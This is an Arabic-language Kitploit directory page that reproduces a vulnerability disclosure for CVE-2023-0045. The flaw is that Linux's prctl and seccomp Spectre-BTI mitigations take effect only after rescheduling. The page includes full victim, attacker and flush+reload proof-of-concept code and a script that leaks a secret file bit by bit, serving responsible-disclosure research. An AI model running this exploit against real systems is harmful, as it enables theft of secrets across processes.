Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/askyeye/cve-2023-0045
تحليل الثغرات الأمنيةالاستغلالأمن الأجهزةالأوراق والأبحاثالتعلم والتعليماستغلال الملفات الثنائية
GitHubaskyeye/cve-2023-0045

CVE-2023-0045

تحليل فني وإثبات مفهوم يوضح تجاوز تخفيفات Spectre-BTI في مساحة المستخدم لنواة لينكس عبر prctl وseccomp، مع استغلال قناة جانبية flush+reload.

عرض المستودع
34منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تجاوز تخفيفات Spectre-BTI في مساحة المستخدم على Linux

هذه وثيقة عمل، يرجى إرسال ملاحظاتك إذا كنت تعتقد أننا أخطأنا في شيء أو أننا فاتنا استشهاد

الإصدار 1.0

José Oliveira (esoj)

Rodrigo Branco (BSDaemon)

مقدمة

عند اختبار معدل نجاح هجمات Spectre-BTI، اكتشفنا نمطًا غريبًا عند استخدام واجهة برمجة تطبيقات النواة كتخفيف1. أظهرت اختباراتنا أن نواة Linux تفشل في تخفيف الهجوم بشكل صحيح، مما يترك العملية مكشوفة لفترة قصيرة بعد استدعاء النظام.

أظهر المزيد من التحقيق أن النواة لا تصدر IBPB فورًا أثناء استدعاء النظام. تقوم دالة ib_prctl_set2 بتحديث أعلام معلومات الخيط (TIFs) للمهمة وتحديث MSR SPEC_CTRL في الدالة __speculation_ctrl_update 3، ولكن يتم إصدار IBPB فقط في الجدولة التالية، عند التحقق من بتات TIF. وهذا يترك الضحية عرضة للقيم التي تم حقنها بالفعل في BTB، قبل استدعاء prctl. يتم تصحيح السلوك فقط بعد إعادة جدولة المهمة. علاوة على ذلك، فإن دخول النواة (بسبب استدعاء النظام نفسه) لا يصدر IBPB في السيناريوهات الافتراضية (أي عندما تحمي النواة نفسها عبر retpoline أو eIBRS).

تخفيف prctl

تنفيذ prctl لتخفيف هجمات spectre-BTI باستخدام: prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); يؤدي إلى دالة ib_prctl_set2 في النواة 5.15. عند استخدام الخيار SPEC_DISABLE يتم تعيين بت TIF لـ task_set_spec_ib_disable ويتم استدعاء task_update_spec_tif:

root@kitploit:~
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
    /*
     * Indirect branch speculation is always allowed when
     * mitigation is force disabled.
     */
    if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
        spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
        return -EPERM;

    if (!is_spec_ib_user_controlled())
        return 0;

    task_set_spec_ib_disable(task);
    if (ctrl == PR_SPEC_FORCE_DISABLE)
        task_set_spec_ib_force_disable(task);
    task_update_spec_tif(task);
    break;

تقوم task_set_spec_ib_disable باستدعاء set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); وإذا كانت المهمة المستهدفة هي الحالية فإنها تستدعي speculation_ctrl_update_current();

root@kitploit:~
static void task_update_spec_tif(struct task_struct *tsk)
{
	/* Force the update of the real TIF bits */
	set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);

	/*
	 * Immediately update the speculation control MSRs for the current
	 * task, but for a non-current task delay setting the CPU
	 * mitigation until it is scheduled next.
	 *
	 * This can only happen for SECCOMP mitigation. For PRCTL it's
	 * always the current task.
	 */
	if (tsk == current)
		speculation_ctrl_update_current();
}

بعد غلاف speculation_ctrl_update، تنفذ speculation_ctrl_update_current الدالة __speculation_ctrl_update مع tifp = ~tifp، هنا يتم تنفيذ تحديث wrmsr لتعيين STIBP ولكن لا يتم إصدار IBPB:

root@kitploit:~
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
						      unsigned long tifn)
{
	unsigned long tif_diff = tifp ^ tifn;
	u64 msr = x86_spec_ctrl_base;
	bool updmsr = false;

	lockdep_assert_irqs_disabled();

	/* Handle change of TIF_SSBD depending on the mitigation method. */
	if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_ssb_virt_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_core_ssb_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
		   static_cpu_has(X86_FEATURE_AMD_SSBD)) {
		updmsr |= !!(tif_diff & _TIF_SSBD);
		msr |= ssbd_tif_to_spec_ctrl(tifn);
	}

	/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
	if (IS_ENABLED(CONFIG_SMP) &&
	    static_branch_unlikely(&switch_to_cond_stibp)) {
		updmsr |= !!(tif_diff & _TIF_SPEC_IB);
		msr |= stibp_tif_to_spec_ctrl(tifn);
	}

	if (updmsr)
		wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}

يستخدم استدعاء النظام seccomp أيضًا ib_prctl_set2 كتخفيف، داخل arch_seccomp_spec_mitigate4 لذا يُتوقع نفس النتيجة مع seccomp.

الاختبارات

بينما نحن متأكدون من خلال تحليل الكود أن نافذة الاستغلال موجودة، كان من غير الواضح ما إذا كانت كبيرة بما يكفي لتحميل الضحية للأسرار والمهاجم لتسريبها (نظرًا لأنه من المتوقع أن الأسرار ليست في مساحة عنوان الضحية حتى يتم إصدار استدعاء prctl). تم تنفيذ الاختبارات على جهاز فعلي مع دعم لتخفيفات الأجهزة، مع تثبيت ubuntu 22.04.1 LTS:

root@kitploit:~
النواة هي Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
المعالج هو Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* دعم الأجهزة (ميكروكود المعالج) لتقنيات التخفيف
  * Indirect Branch Restricted Speculation (IBRS)
    * SPEC_CTRL MSR متاح:  نعم
    * يشير المعالج إلى قدرة IBRS:  نعم  (SPEC_CTRL feature bit)
  * Indirect Branch Prediction Barrier (IBPB)
    * يشير المعالج إلى قدرة IBPB:  نعم  (SPEC_CTRL feature bit)
  * Single Thread Indirect Branch Predictors (STIBP)
    * SPEC_CTRL MSR متاح:  نعم
    * يشير المعالج إلى قدرة STIBP:  نعم  (Intel STIBP feature bit)
  * Speculative Store Bypass Disable (SSBD)

يتكون كود الاختبار من عمليتين تنفيذيتين على نفس النواة المنطقية. يقوم المهاجم باستمرار بتسميم BTB بعنوان أداة spectre الموجودة في عملية الضحية. تقوم عملية الضحية بقياس معدل سوء التنبؤ عن طريق التحقق مما إذا كان متغير اختبار قد تم الوصول إليه بواسطة دالة أداة spectre. يعود هذا عادةً بالمخرجات التالية:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker  0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000  
Rate: 1000/1000  
Rate: 999/1000  
Rate: 1000/1000  
Rate: 1000/1000  
Rate: 997/1000  
Rate: 994/1000  
Rate: 996/1000  
Rate: 998/1000  
Rate: 993/1000  
Total misspredict rate: 9918/10000 (99.18 %)

ثم يتم استخدام PRCTL لتخفيف الهجوم. يمكن تمكين التخفيف عن طريق إضافة prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); في بداية البرنامج. من المتوقع أن يخفف هذا هجوم spectre-BTI:

root@kitploit:~
PRCTL GET value 0x9
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Total misspredict rate: 0/10000 (0.00 %)

ومع ذلك، أظهرت بعض الاختبارات نتيجة مختلفة:

root@kitploit:~
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)

ويبدو أن تغيير 'nice' (الأولوية) يؤثر على معدل سوء التنبؤ:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)

esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)

يشير هذا إلى أن prctl قام بحماية العملية فقط بعد الجدولة التالية، كما هو مفهوم من تحليل الكود. سلوك غريب آخر لهذا الاختبار هو أنه بعد فرع غير صحيح، يجب تصحيح مسار التخمين ويجب كتابة القيمة الحقيقية على BTB. نظرًا لعدم وجود مهاجمين آخرين على الخيط الشقيق لإعادة تسميم BTB، فإن قيم سوء التنبؤ العالية هذه غير متوقعة.

إثبات المفهوم

للتأكد من أن هذا لم يكن خطأ في القياس، قمنا بإنشاء POC بسيط. ينفذ كود الضحية دائمًا safe_function من خلال مؤشر دالة يكون عرضة لهجوم spectre-BTI. تطلب الضحية من النواة الحماية باستخدام استدعاء النظام prctl (داخل protect_me). تقوم الضحية أيضًا بتحميل سر من ملف نصي، مما يظهر أن استدعاءات النظام الأخرى لا تتحقق من بت TIF ولا تثير إعادة جدولة قد تفرض IBPB.

root@kitploit:~
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

int main(int argc, char *argv[])
{

    setvbuf(stdout, NULL, _IONBF, 0);
    printf("running victim %s\n", argv[1]);

    //only call safe_function
    codePtr = safe_function;
    char secret[20];
    char *sharedmem = open_shared_mem();
    unsigned idx = string_to_unsigned(argv[1]);

    //call for prctl to protect this process
    protect_me();

    //only then load the secret into memory
    load_secret(secret);

    for (int i = 0; i < 100; i++)
    {
        flush((char *)&codePtr);
        //this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
        //Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
        spec(&sharedmem[2000], secret, idx);
    }
}

تم وضع معظم دوال libc داخل ملف رأس مشترك بين المهاجم والضحية بحيث تشترك دالتا spectre_gadget و spec في نفس عناوين الذاكرة في كل من الضحية والمهاجم (وإلا يتم إنشاء إدخال .GOT ويتم تغيير العناوين). هذا ليس شرطًا وتوجد طرق أخرى لوضع الفروع على نفس العناوين ومحاكاة سياق الضحية، ولكن هذه الطريقة أبسط.

root@kitploit:~
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>

char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];

// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}

// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
    volatile char d;
    if ((secret[idx / 8] >> (idx % 8)) & 1)
        d = *addr;
}

// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
    asm volatile(
        "clflush [%0]                   \n"
        :
        : "c"(adrs)
        :);
}

// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{

    for (register int i = 0; i < 30; i++)
        ;
    codePtr(addr, secret, idx);
}

// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
    int fd = open("sharedmem", O_RDONLY);
    char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
    // ensure page is on memory
    volatile char d = res[2100];
    return res;
}

// load secret from file
void load_secret(char *secret)
{
    FILE *fp = fopen("secret.txt", "r");
    fgets(secret, 20, (FILE *)fp);
}

// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
    usleep(1000); //not needed but resets the available time on scheduler
    prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}

// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
    return atoi(s);
}

يتكون الهجوم من تسميم BTB عن طريق استدعاء دالة spec وجعلها تتفرع إلى spectre_gadget بدلاً من safe_function. بعد التدريب، يتم إنشاء عملية الضحية وتنفيذ spec التي تتنبأ خطأً إلى spectre_gadget والتي لا يجب تنفيذها أبدًا. يتم تسريب السر من خلال قناة جانبية كلاسيكية flush+reload.

root@kitploit:~
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

#define PRINTNUM 1000

unsigned probe(char *adrs)
{
    volatile unsigned long time;
    asm __volatile__(
        "    mfence             \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    lfence             \n"
        "    mov esi, eax       \n"
        "    mov eax,[%1]       \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    sub eax, esi       \n"
        "    clflush [%1]       \n"
        "    mfence             \n"
        "    lfence             \n"
        : "=a"(time)
        : "c"(adrs)
        : "%esi", "%edx");
    return time;
}

int main(int argc, char *argv[])
{

    //Make spec function confuse safe_function with spectre_gadget
    codePtr = spectre_gadget;

    char dummy;
    int hits = 0;
    int tries = 0;
    char *sharedmem = open_shared_mem();
    setvbuf(stdout, NULL, _IONBF, 0);

    while (1)
    {
        //Inject the target in the BTB
        spec(&dummy, &dummy, 0);

        //Allow for victim to execute and misspredict to spectre_gadget
        usleep(1);

        //probe the 1-bit flush+reload side channel
        if (probe((char *)&sharedmem[2000]) < 0x90)
        {
            printf("+");
        }
    }
}

نظرًا لأن الضحية تتلقى وسيطة يمكن استخدامها لاختيار البت الذي سيتم تسريبه عبر القناة الجانبية، يمكننا تنفيذ عملية الضحية عدة مرات بينما ينفذ المهاجم:

root@kitploit:~
taskset -c 0 ./attacker >> result.txt &

for i in {0..144}
do
    echo "Leaking bit $i... "
    echo -e -n "Leaking bit $i: " >> result.txt
    sleep .01
    for j in {0..10}
    do
        taskset -c 0 ./victim $i >/dev/null
    done

    echo "" >> result.txt
done

python3 parseResult.py 

make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)

يترك هذا ملف النص التالي:

root@kitploit:~
Leaking bit 0: +++++++++++
Leaking bit 1: 
Leaking bit 2: 
Leaking bit 3: 
Leaking bit 4: 
Leaking bit 5: 
Leaking bit 6: ++++++++++
Leaking bit 7: 
Leaking bit 8: ++++++++
[...]

لاحظ أن البت 0 و 6 هما 1، وبالتالي يجب أن يكون الحرف الأول 0x41(A). يظهر تحليل الملف باستخدام سكربت بيثون بسيط: The secret leaked is: b'Asuper_secret_flag' وهو بالضبط المحتوى الموجود في secret.txt الذي تستخدمه الضحية.

تغيير استدعاء prctl إلى seccomp باستخدام syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); بعد تحميل السر لا يمنع الهجوم. هذا متوقع لأن كليهما داخليًا يستخدمان نفس الدالة ib_prctl_set لتنفيذ التخفيف.

الخلاصة

يفشل التنفيذ الحالي لاستدعاء النظام prctl للتحكم في التخمين في حماية المستخدم من المهاجمين الذين ينفذون قبل التخفيف. كذلك يفشل تخفيف seccomp في هذا السيناريو.

التخفيفات

بالنسبة لتطبيقات وضع المستخدم، يكفي usleep بعد استدعاء prctl لفرض إعادة جدولة وضمان التخفيف الصحيح. أحد تصحيحات النواة المحتملة لهذا الهجوم هو إصدار IBPB في نفس الوقت الذي يتم فيه تعيين STIBP، في __speculation_ctrl_update 3 أو استدعاء schedule().

الجدول الزمني

  • 27 ديسمبر 2022 - اكتشاف سلوك غير متوقع في prctl
  • 29 ديسمبر 2022 - النسخة الأولى من هذه المقالة
  • 31 ديسمبر 2022 - مشاركتها مع فريق أمان نواة Linux
  • 03 فبراير 2023 - الكشف العام عن التقرير: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8

المراجع:

Footnotes

  1. “دليل واجهة برمجة تطبيقات مساحة المستخدم لنواة Linux: التحكم في التخمين”. الرابط: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩

  2. "كود مصدر Linux" الرابط: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3

  3. "كود مصدر Linux" الرابط: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2

  4. "كود مصدر Linux" الرابط: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩

تنزيل الأداة